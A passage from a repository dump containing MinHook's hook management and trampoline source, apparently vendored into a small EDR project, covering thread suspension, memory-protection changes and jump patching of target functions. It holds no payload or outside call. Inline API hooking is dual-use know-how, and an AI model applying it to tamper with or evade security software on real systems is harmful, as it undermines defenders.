265 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
266 | if (hSnapshot != INVALID_HANDLE_VALUE)
267 | {
268 | THREADENTRY32 te;
269 | te.dwSize = sizeof(THREADENTRY32);
270 | if (Thread32First(hSnapshot, &te))
271 | {
272 | do
273 | {
274 | if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD))
275 | && te.th32OwnerProcessID == GetCurrentProcessId()
276 | && te.th32ThreadID != GetCurrentThreadId())
277 | {
278 | if (pThreads->pItems == NULL)
279 | {
280 | pThreads->capacity = INITIAL_THREAD_CAPACITY;
281 | pThreads->pItems
282 | = (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD));
283 | if (pThreads->pItems == NULL)
284 | break;
285 | }
286 | else if (pThreads->size >= pThreads->capacity)
287 | {
288 | LPDWORD p = (LPDWORD)HeapReAlloc(
289 | g_hHeap, 0, pThreads->pItems, (pThreads->capacity * 2) * sizeof(DWORD));
290 | if (p == NULL)
291 | break;
292 |
293 | pThreads->capacity *= 2;
294 | pThreads->pItems = p;
295 | }
296 | pThreads->pItems[pThreads->size++] = te.th32ThreadID;
297 | }
298 |
299 | te.dwSize = sizeof(THREADENTRY32);
300 | } while (Thread32Next(hSnapshot, &te));
301 | }
302 | CloseHandle(hSnapshot);
303 | }
304 | }
305 |
306 | //-------------------------------------------------------------------------
307 | static VOID Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action)
308 | {
309 | pThreads->pItems = NULL;
310 | pThreads->capacity = 0;
311 | pThreads->size = 0;
312 | EnumerateThreads(pThreads);
313 |
314 | if (pThreads->pItems != NULL)
315 | {
316 | UINT i;
317 | for (i = 0; i < pThreads->size; ++i)
318 | {
319 | HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]);
320 | if (hThread != NULL)
321 | {
322 | SuspendThread(hThread);
323 | ProcessThreadIPs(hThread, pos, action);
324 | CloseHandle(hThread);
325 | }
326 | }
327 | }
328 | }
329 |
330 | //-------------------------------------------------------------------------
331 | static VOID Unfreeze(PFROZEN_THREADS pThreads)
332 | {
333 | if (pThreads->pItems != NULL)
334 | {
335 | UINT i;
336 | for (i = 0; i < pThreads->size; ++i)
337 | {
338 | HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]);
339 | if (hThread != NULL)
340 | {
341 | ResumeThread(hThread);
342 | CloseHandle(hThread);
343 | }
344 | }
345 |
346 | HeapFree(g_hHeap, 0, pThreads->pItems);
347 | }
348 | }
349 |
350 | //-------------------------------------------------------------------------
351 | static MH_STATUS EnableHookLL(UINT pos, BOOL enable)
352 | {
353 | PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
354 | DWORD oldProtect;
355 | SIZE_T patchSize = sizeof(JMP_REL);
356 | LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget;
357 |
358 | if (pHook->patchAbove)
359 | {
360 | pPatchTarget -= sizeof(JMP_REL);
361 | patchSize += sizeof(JMP_REL_SHORT);
362 | }
363 |
364 | if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect))
365 | return MH_ERROR_MEMORY_PROTECT;
366 |
367 | if (enable)
368 | {
369 | PJMP_REL pJmp = (PJMP_REL)pPatchTarget;
370 | pJmp->opcode = 0xE9;
371 | pJmp->operand = (UINT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL)));
372 |
373 | if (pHook->patchAbove)
374 | {
375 | PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget;
376 | pShortJmp->opcode = 0xEB;
377 | pShortJmp->operand = (UINT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL)));
378 | }
379 | }
380 | else
381 | {
382 | if (pHook->patchAbove)
383 | memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
384 | else
385 | memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL));
386 | }
387 |
388 | VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect);
389 |
390 | // Just-in-case measure.
391 | FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize);
392 |
393 | pHook->isEnabled = enable;
394 | pHook->queueEnable = enable;
395 |
396 | return MH_OK;
397 | }
398 |
399 | //-------------------------------------------------------------------------
400 | static MH_STATUS EnableAllHooksLL(BOOL enable)
401 | {
402 | MH_STATUS status = MH_OK;
403 | UINT i, first = INVALID_HOOK_POS;
404 |
405 | for (i = 0; i < g_hooks.size; ++i)
406 | {
407 | if (g_hooks.pItems[i].isEnabled != enable)
408 | {
409 | first = i;
410 | break;
411 | }
412 | }
413 |
414 | if (first != INVALID_HOOK_POS)
415 | {
416 | FROZEN_THREADS threads;
417 | Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE);
418 |
419 | for (i = first; i < g_hooks.size; ++i)
420 | {
421 | if (g_hooks.pItems[i].isEnabled != enable)
422 | {
423 | status = EnableHookLL(i, enable);
424 | if (status != MH_OK)
425 | break;
426 | }
427 | }
428 |
429 | Unfreeze(&threads);
430 | }
431 |
432 | return status;
433 | }
434 |
435 | //-------------------------------------------------------------------------
436 | static VOID EnterSpinLock(VOID)
437 | {
438 | SIZE_T spinCount = 0;
439 |
440 | // Wait until the flag is FALSE.
441 | while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE)
442 | {
443 | // No need to generate a memory barrier here, since InterlockedCompareExchange()
444 | // generates a full memory barrier itself.
445 |
446 | // Prevent the loop from being too busy.
447 | if (spinCount < 32)
448 | Sleep(0);
449 | else
450 | Sleep(1);
451 |
452 | spinCount++;
453 | }
454 | }
455 |
456 | //-------------------------------------------------------------------------
457 | static VOID LeaveSpinLock(VOID)
458 | {
459 | // No need to generate a memory barrier here, since InterlockedExchange()
460 | // generates a full memory barrier itself.
461 |
462 | InterlockedExchange(&g_isLocked, FALSE);
463 | }
464 |
465 | //-------------------------------------------------------------------------
466 | MH_STATUS WINAPI MH_Initialize(VOID)
467 | {
468 | MH_STATUS status = MH_OK;
469 |
470 | EnterSpinLock();
471 |
472 | if (g_hHeap == NULL)
473 | {
474 | g_hHeap = HeapCreate(0, 0, 0);
475 | if (g_hHeap != NULL)
476 | {
477 | // Initialize the internal function buffer.
478 | InitializeBuffer();
479 | }
480 | else
481 | {
482 | status = MH_ERROR_MEMORY_ALLOC;
483 | }
484 | }
485 | else
486 | {
487 | status = MH_ERROR_ALREADY_INITIALIZED;
488 | }
489 |
490 | LeaveSpinLock();
491 |
492 | return status;
493 | }
494 |
495 | //-------------------------------------------------------------------------
496 | MH_STATUS WINAPI MH_Uninitialize(VOID)
497 | {
498 | MH_STATUS status = MH_OK;
499 |
500 | EnterSpinLock();
501 |
502 | if (g_hHeap != NULL)
503 | {
504 | status = EnableAllHooksLL(FALSE);
505 | if (status == MH_OK)
506 | {
507 | // Free the internal function buffer.
508 |
509 | // HeapFree is actually not required, but some tools detect a false
510 | // memory leak without HeapFree.
511 |
512 | UninitializeBuffer();
513 |
514 | HeapFree(g_hHeap, 0, g_hooks.pItems);
515 | HeapDestroy(g_hHeap);
516 |
517 | g_hHeap = NULL;
518 |
519 | g_hooks.pItems = NULL;
520 | g_hooks.capacity = 0;
521 | g_hooks.size = 0;
522 | }
523 | }
524 | else
525 | {
526 | status = MH_ERROR_NOT_INITIALIZED;
527 | }
528 |
529 | LeaveSpinLock();
530 |
531 | return status;
532 | }
533 |
534 | //-------------------------------------------------------------------------
535 | MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal)
536 | {
537 | MH_STATUS status = MH_OK;
538 |
539 | EnterSpinLock();
540 |
541 | if (g_hHeap != NULL)
542 | {
543 | if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour))
544 | {
545 | UINT pos = FindHookEntry(pTarget);
546 | if (pos == INVALID_HOOK_POS)
547 | {
548 | LPVOID pBuffer = AllocateBuffer(pTarget);
549 | if (pBuffer != NULL)
550 | {
551 | TRAMPOLINE ct;
552 |
553 | ct.pTarget = pTarget;
554 | ct.pDetour = pDetour;
555 | ct.pTrampoline = pBuffer;
556 | if (CreateTrampolineFunction(&ct))
557 | {
558 | PHOOK_ENTRY pHook = AddHookEntry();
559 | if (pHook != NULL)
560 | {
561 | pHook->pTarget = ct.pTarget;
562 | #if defined(_M_X64) || defined(__x86_64__)
563 | pHook->pDetour = ct.pRelay;
564 | #else
565 | pHook->pDetour = ct.pDetour;
566 | #endif
567 | pHook->pTrampoline = ct.pTrampoline;
568 | pHook->patchAbove = ct.patchAbove;
569 | pHook->isEnabled = FALSE;
570 | pHook->queueEnable = FALSE;
571 | pHook->nIP = ct.nIP;
572 | memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs));
573 | memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs));
574 |
575 | // Back up the target function.
576 |
577 | if (ct.patchAbove)
578 | {
579 | memcpy(
580 | pHook->backup,
581 | (LPBYTE)pTarget - sizeof(JMP_REL),
582 | sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
583 | }
584 | else
585 | {
586 | memcpy(pHook->backup, pTarget, sizeof(JMP_REL));
587 | }
588 |
589 | if (ppOriginal != NULL)
590 | *ppOriginal = pHook->pTrampoline;
591 | }
592 | else
593 | {
594 | status = MH_ERROR_MEMORY_ALLOC;
595 | }
596 | }
597 | else
598 | {
599 | status = MH_ERROR_UNSUPPORTED_FUNCTION;
600 | }
601 |
602 | if (status != MH_OK)
603 | {
604 | FreeBuffer(pBuffer);
605 | }
606 | }
607 | else
608 | {
609 | status = MH_ERROR_MEMORY_ALLOC;
610 | }
611 | }
612 | else
613 | {
614 | status = MH_ERROR_ALREADY_CREATED;
615 | }
616 | }
617 | else
618 | {
619 | status = MH_ERROR_NOT_EXECUTABLE;
620 | }
621 | }
622 | else
623 | {
624 | status = MH_ERROR_NOT_INITIALIZED;
625 | }
626 |
627 | LeaveSpinLock();
628 |
629 | return status;
630 | }
631 |
632 | //-------------------------------------------------------------------------
633 | MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget)
634 | {
635 | MH_STATUS status = MH_OK;
636 |
637 | EnterSpinLock();
638 |
639 | if (g_hHeap != NULL)
640 | {
641 | UINT pos = FindHookEntry(pTarget);
642 | if (pos != INVALID_HOOK_POS)
643 | {
644 | if (g_hooks.pItems[pos].isEnabled)
645 | {
646 | FROZEN_THREADS threads;
647 | Freeze(&threads, pos, ACTION_DISABLE);
648 |
649 | status = EnableHookLL(pos, FALSE);
650 |
651 | Unfreeze(&threads);
652 | }
653 |
654 | if (status == MH_OK)
655 | {
656 | FreeBuffer(g_hooks.pItems[pos].pTrampoline);
657 | DeleteHookEntry(pos);
658 | }
659 | }
660 | else
661 | {
662 | status = MH_ERROR_NOT_CREATED;
663 | }
664 | }
665 | else
666 | {
667 | status = MH_ERROR_NOT_INITIALIZED;
668 | }
669 |
670 | LeaveSpinLock();
671 |
672 | return status;
673 | }
674 |
675 | //-------------------------------------------------------------------------
676 | static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable)
677 | {
678 | MH_STATUS status = MH_OK;
679 |
680 | EnterSpinLock();
681 |
682 | if (g_hHeap != NULL)
683 | {
684 | if (pTarget == MH_ALL_HOOKS)
685 | {
686 | status = EnableAllHooksLL(enable);
687 | }
688 | else
689 | {
690 | FROZEN_THREADS threads;
691 | UINT pos = FindHookEntry(pTarget);
692 | if (pos != INVALID_HOOK_POS)
693 | {
694 | if (g_hooks.pItems[pos].isEnabled != enable)
695 | {
696 | Freeze(&threads, pos, ACTION_ENABLE);
697 |
698 | status = EnableHookLL(pos, enable);
699 |
700 | Unfreeze(&threads);
701 | }
702 | else
703 | {
704 | status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED;
705 | }
706 | }
707 | else
708 | {
709 | status = MH_ERROR_NOT_CREATED;
710 | }
711 | }
712 | }
713 | else
714 | {
715 | status = MH_ERROR_NOT_INITIALIZED;
716 | }
717 |
718 | LeaveSpinLock();
719 |
720 | return status;
721 | }
722 |
723 | //-------------------------------------------------------------------------
724 | MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget)
725 | {
726 | return EnableHook(pTarget, TRUE);
727 | }
728 |
729 | //-------------------------------------------------------------------------
730 | MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget)
731 | {
732 | return EnableHook(pTarget, FALSE);
733 | }
734 |
735 | //-------------------------------------------------------------------------
736 | static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable)
737 | {
738 | MH_STATUS status = MH_OK;
739 |
740 | EnterSpinLock();
741 |
742 | if (g_hHeap != NULL)
743 | {
744 | if (pTarget == MH_ALL_HOOKS)
745 | {
746 | UINT i;
747 | for (i = 0; i < g_hooks.size; ++i)
748 | g_hooks.pItems[i].queueEnable = queueEnable;
749 | }
750 | else
751 | {
752 | UINT pos = FindHookEntry(pTarget);
753 | if (pos != INVALID_HOOK_POS)
754 | {
755 | g_hooks.pItems[pos].queueEnable = queueEnable;
756 | }
757 | else
758 | {
759 | status = MH_ERROR_NOT_CREATED;
760 | }
761 | }
762 | }
763 | else
764 | {
765 | status = MH_ERROR_NOT_INITIALIZED;
766 | }
767 |
768 | LeaveSpinLock();
769 |
770 | return status;
771 | }
772 |
773 | //-------------------------------------------------------------------------
774 | MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget)
775 | {
776 | return QueueHook(pTarget, TRUE);
777 | }
778 |
779 | //-------------------------------------------------------------------------
780 | MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget)
781 | {
782 | return QueueHook(pTarget, FALSE);
783 | }
784 |
785 | //-------------------------------------------------------------------------
786 | MH_STATUS WINAPI MH_ApplyQueued(VOID)
787 | {
788 | MH_STATUS status = MH_OK;
789 | UINT i, first = INVALID_HOOK_POS;
790 |
791 | EnterSpinLock();
792 |
793 | if (g_hHeap != NULL)
794 | {
795 | for (i = 0; i < g_hooks.size; ++i)
796 | {
797 | if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable)
798 | {
799 | first = i;
800 | break;
801 | }
802 | }
803 |
804 | if (first != INVALID_HOOK_POS)
805 | {
806 | FROZEN_THREADS threads;
807 | Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED);
808 |
809 | for (i = first; i < g_hooks.size; ++i)
810 | {
811 | PHOOK_ENTRY pHook = &g_hooks.pItems[i];
812 | if (pHook->isEnabled != pHook->queueEnable)
813 | {
814 | status = EnableHookLL(i, pHook->queueEnable);
815 | if (status != MH_OK)
816 | break;
817 | }
818 | }
819 |
820 | Unfreeze(&threads);
821 | }
822 | }
823 | else
824 | {
825 | status = MH_ERROR_NOT_INITIALIZED;
826 | }
827 |
828 | LeaveSpinLock();
829 |
830 | return status;
831 | }
832 |
833 | //-------------------------------------------------------------------------
834 | MH_STATUS WINAPI MH_CreateHookApiEx(
835 | LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour,
836 | LPVOID *ppOriginal, LPVOID *ppTarget)
837 | {
838 | HMODULE hModule;
839 | LPVOID pTarget;
840 |
841 | hModule = GetModuleHandleW(pszModule);
842 | if (hModule == NULL)
843 | return MH_ERROR_MODULE_NOT_FOUND;
844 |
845 | pTarget = (LPVOID)GetProcAddress(hModule, pszProcName);
846 | if (pTarget == NULL)
847 | return MH_ERROR_FUNCTION_NOT_FOUND;
848 |
849 | if(ppTarget != NULL)
850 | *ppTarget = pTarget;
851 |
852 | return MH_CreateHook(pTarget, pDetour, ppOriginal);
853 | }
854 |
855 | //-------------------------------------------------------------------------
856 | MH_STATUS WINAPI MH_CreateHookApi(
857 | LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal)
858 | {
859 | return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL);
860 | }
861 |
862 | //-------------------------------------------------------------------------
863 | const char * WINAPI MH_StatusToString(MH_STATUS status)
864 | {
865 | #define MH_ST2STR(x) \
866 | case x: \
867 | return #x;
868 |
869 | switch (status) {
870 | MH_ST2STR(MH_UNKNOWN)
871 | MH_ST2STR(MH_OK)
872 | MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED)
873 | MH_ST2STR(MH_ERROR_NOT_INITIALIZED)
874 | MH_ST2STR(MH_ERROR_ALREADY_CREATED)
875 | MH_ST2STR(MH_ERROR_NOT_CREATED)
876 | MH_ST2STR(MH_ERROR_ENABLED)
877 | MH_ST2STR(MH_ERROR_DISABLED)
878 | MH_ST2STR(MH_ERROR_NOT_EXECUTABLE)
879 | MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION)
880 | MH_ST2STR(MH_ERROR_MEMORY_ALLOC)
881 | MH_ST2STR(MH_ERROR_MEMORY_PROTECT)
882 | MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND)
883 | MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND)
884 | }
885 |
886 | #undef MH_ST2STR
887 |
888 | return "(unknown)";
889 | }
890 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/trampoline.c:
--------------------------------------------------------------------------------
1 | /*
2 | * MinHook - The Minimalistic API Hooking Library for x64/x86
3 | * Copyright (C) 2009-2017 Tsuda Kageyu.
4 | * All rights reserved.
5 | *
6 | * Redistribution and use in source and binary forms, with or without
7 | * modification, are permitted provided that the following conditions
8 | * are met:
9 | *
10 | * 1. Redistributions of source code must retain the above copyright
11 | * notice, this list of conditions and the following disclaimer.
12 | * 2. Redistributions in binary form must reproduce the above copyright
13 | * notice, this list of conditions and the following disclaimer in the
14 | * documentation and/or other materials provided with the distribution.
15 | *
16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
17 | * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
18 | * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
19 | * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
20 | * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
21 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
22 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
23 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
24 | * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
25 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
26 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
27 | */
28 |
29 | #include
30 |
31 | #ifndef ARRAYSIZE
32 | #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
33 | #endif
34 |
35 | #if defined(_M_X64) || defined(__x86_64__)
36 | #include "./hde/hde64.h"
37 | typedef hde64s HDE;
38 | #define HDE_DISASM(code, hs) hde64_disasm(code, hs)
39 | #else
40 | #include "./hde/hde32.h"
41 | typedef hde32s HDE;
42 | #define HDE_DISASM(code, hs) hde32_disasm(code, hs)
43 | #endif
44 |
45 | #include "trampoline.h"
46 | #include "buffer.h"
47 |
48 | // Maximum size of a trampoline function.
49 | #if defined(_M_X64) || defined(__x86_64__)
50 | #define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS))
51 | #else
52 | #define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE
53 | #endif
54 |
55 | //-------------------------------------------------------------------------
56 | static BOOL IsCodePadding(LPBYTE pInst, UINT size)
57 | {
58 | UINT i;
59 |
60 | if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC)
61 | return FALSE;
62 |
63 | for (i = 1; i < size; ++i)
64 | {
65 | if (pInst[i] != pInst[0])
66 | return FALSE;
67 | }
68 | return TRUE;
69 | }
70 |
71 | //-------------------------------------------------------------------------
72 | BOOL CreateTrampolineFunction(PTRAMPOLINE ct)
73 | {
74 | #if defined(_M_X64) || defined(__x86_64__)
75 | CALL_ABS call = {
76 | 0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8]
77 | 0xEB, 0x08, // EB 08: JMP +10
78 | 0x0000000000000000ULL // Absolute destination address
79 | };
80 | JMP_ABS jmp = {
81 | 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
82 | 0x0000000000000000ULL // Absolute destination address
83 | };
84 | JCC_ABS jcc = {
85 | 0x70, 0x0E, // 7* 0E: J** +16
86 | 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
87 | 0x0000000000000000ULL // Absolute destination address
88 | };
89 | #else
90 | CALL_REL call = {
91 | 0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx
92 | 0x00000000 // Relative destination address
93 | };
94 | JMP_REL jmp = {
95 | 0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx
96 | 0x00000000 // Relative destination address
97 | };
98 | JCC_REL jcc = {
99 | 0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx
100 | 0x00000000 // Relative destination address
101 | };
102 | #endif
103 |
104 | UINT8 oldPos = 0;
105 | UINT8 newPos = 0;
106 | ULONG_PTR jmpDest = 0; // Destination address of an internal jump.
107 | BOOL finished = FALSE; // Is the function completed?
108 | #if defined(_M_X64) || defined(__x86_64__)
109 | UINT8 instBuf[16];
110 | #endif
111 |
112 | ct->patchAbove = FALSE;
113 | ct->nIP = 0;
114 |
115 | do
116 | {
117 | HDE hs;
118 | UINT copySize;
119 | LPVOID pCopySrc;
120 | ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos;
121 | ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos;
122 |
123 | copySize = HDE_DISASM((LPVOID)pOldInst, &hs);
124 | if (hs.flags & F_ERROR)
125 | return FALSE;
126 |
127 | pCopySrc = (LPVOID)pOldInst;
128 | if (oldPos >= sizeof(JMP_REL))
129 | {
130 | // The trampoline function is long enough.
131 | // Complete the function with the jump to the target function.
132 | #if defined(_M_X64) || defined(__x86_64__)
133 | jmp.address = pOldInst;
134 | #else
135 | jmp.operand = (UINT32)(pOldInst - (pNewInst + sizeof(jmp)));
136 | #endif
137 | pCopySrc = &jmp;
138 | copySize = sizeof(jmp);
139 |
140 | finished = TRUE;
141 | }
142 | #if defined(_M_X64) || defined(__x86_64__)
143 | else if ((hs.modrm & 0xC7) == 0x05)
144 | {
145 | // Instructions using RIP relative addressing. (ModR/M = 00???101B)
146 |
147 | // Modify the RIP relative address.
148 | PUINT32 pRelAddr;
149 |
150 | // Avoid using memcpy to reduce the footprint.
151 | #ifndef _MSC_VER
152 | memcpy(instBuf, (LPBYTE)pOldInst, copySize);
153 | #else
154 | __movsb(instBuf, (LPBYTE)pOldInst, copySize);
155 | #endif
156 | pCopySrc = instBuf;
157 |
158 | // Relative address is stored at (instruction length - immediate value length - 4).
159 | pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4);
160 | *pRelAddr
161 | = (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len));
162 |
163 | // Complete the function if JMP (FF /4).
164 | if (hs.opcode == 0xFF && hs.modrm_reg == 4)
165 | finished = TRUE;
166 | }
167 | #endif
168 | else if (hs.opcode == 0xE8)
169 | {
170 | // Direct relative CALL
171 | ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32;
172 | #if defined(_M_X64) || defined(__x86_64__)
173 | call.address = dest;
174 | #else
175 | call.operand = (UINT32)(dest - (pNewInst + sizeof(call)));
176 | #endif
177 | pCopySrc = &call;
178 | copySize = sizeof(call);
179 | }
180 | else if ((hs.opcode & 0xFD) == 0xE9)
181 | {
182 | // Direct relative JMP (EB or E9)
183 | ULONG_PTR dest = pOldInst + hs.len;
184 |
185 | if (hs.opcode == 0xEB) // isShort jmp
186 | dest += (INT8)hs.imm.imm8;
187 | else
188 | dest += (INT32)hs.imm.imm32;
189 |
190 | // Simply copy an internal jump.
191 | if ((ULONG_PTR)ct->pTarget <= dest
192 | && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
193 | {
194 | if (jmpDest < dest)
195 | jmpDest = dest;
196 | }
197 | else
198 | {
199 | #if defined(_M_X64) || defined(__x86_64__)
200 | jmp.address = dest;
201 | #else
202 | jmp.operand = (UINT32)(dest - (pNewInst + sizeof(jmp)));
203 | #endif
204 | pCopySrc = &jmp;
205 | copySize = sizeof(jmp);
206 |
207 | // Exit the function If it is not in the branch
208 | finished = (pOldInst >= jmpDest);
209 | }
210 | }
211 | else if ((hs.opcode & 0xF0) == 0x70
212 | || (hs.opcode & 0xFC) == 0xE0
213 | || (hs.opcode2 & 0xF0) == 0x80)
214 | {
215 | // Direct relative Jcc
216 | ULONG_PTR dest = pOldInst + hs.len;
217 |
218 | if ((hs.opcode & 0xF0) == 0x70 // Jcc
219 | || (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ
220 | dest += (INT8)hs.imm.imm8;
221 | else
222 | dest += (INT32)hs.imm.imm32;
223 |
224 | // Simply copy an internal jump.
225 | if ((ULONG_PTR)ct->pTarget <= dest
226 | && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
227 | {
228 | if (jmpDest < dest)
229 | jmpDest = dest;
230 | }
231 | else if ((hs.opcode & 0xFC) == 0xE0)
232 | {
233 | // LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported.
234 | return FALSE;
235 | }
236 | else
237 | {
238 | UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F);
239 | #if defined(_M_X64) || defined(__x86_64__)
240 | // Invert the condition in x64 mode to simplify the conditional jump logic.
241 | jcc.opcode = 0x71 ^ cond;
242 | jcc.address = dest;
243 | #else
244 | jcc.opcode1 = 0x80 | cond;
245 | jcc.operand = (UINT32)(dest - (pNewInst + sizeof(jcc)));
246 | #endif
247 | pCopySrc = &jcc;
248 | copySize = sizeof(jcc);
249 | }
250 | }
251 | else if ((hs.opcode & 0xFE) == 0xC2)
252 | {
253 | // RET (C2 or C3)
254 |
255 | // Complete the function if not in a branch.
256 | finished = (pOldInst >= jmpDest);
257 | }
258 |
259 | // Can't alter the instruction length in a branch.
260 | if (pOldInst < jmpDest && copySize != hs.len)
261 | return FALSE;
262 |
263 | // Trampoline function is too large.
264 | if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE)
265 | return FALSE;
266 |
267 | // Trampoline function has too many instructions.
268 | if (ct->nIP >= ARRAYSIZE(ct->oldIPs))
269 | return FALSE;
270 |
271 | ct->oldIPs[ct->nIP] = oldPos;
272 | ct->newIPs[ct->nIP] = newPos;
273 | ct->nIP++;
274 |
275 | // Avoid using memcpy to reduce the footprint.
276 | #ifndef _MSC_VER
277 | memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize);
278 | #else
279 | __movsb((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize);
280 | #endif
281 | newPos += copySize;
282 | oldPos += hs.len;
283 | }
284 | while (!finished);
285 |
286 | // Is there enough place for a long jump?
287 | if (oldPos < sizeof(JMP_REL)
288 | && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos))
289 | {
290 | // Is there enough place for a short jump?
291 | if (oldPos < sizeof(JMP_REL_SHORT)
292 | && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos))
293 | {
294 | return FALSE;
295 | }
296 |
297 | // Can we place the long jump above the function?
298 | if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL)))
299 | return FALSE;
300 |
301 | if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL)))
302 | return FALSE;
303 |
304 | ct->patchAbove = TRUE;
305 | }
306 |
307 | #if defined(_M_X64) || defined(__x86_64__)
308 | // Create a relay function.
309 | jmp.address = (ULONG_PTR)ct->pDetour;
310 |
311 | ct->pRelay = (LPBYTE)ct->pTrampoline + newPos;
312 | memcpy(ct->pRelay, &jmp, sizeof(jmp));
313 | #endif
314 |
315 | return TRUE;
316 | }
317 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/trampoline.h:
--------------------------------------------------------------------------------
1 | /*
2 | * MinHook - The Minimalistic API Hooking Library for x64/x86
3 | * Copyright (C) 2009-2017 Tsuda Kageyu.
4 | * All rights reserved.
5 | *
6 | * Redistribution and use in source and binary forms, with or without
7 | * modification, are permitted provided that the following conditions
8 | * are met:
9 | *
10 | * 1. Redistributions of source code must retain the above copyright
11 | * notice, this list of conditions and the following disclaimer.
12 | * 2. Redistributions in binary form must reproduce the above copyright
13 | * notice, this list of conditions and the following disclaimer in the
14 | * documentation and/or other materials provided with the distribution.
15 | *
16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
17 | * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
18 | * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
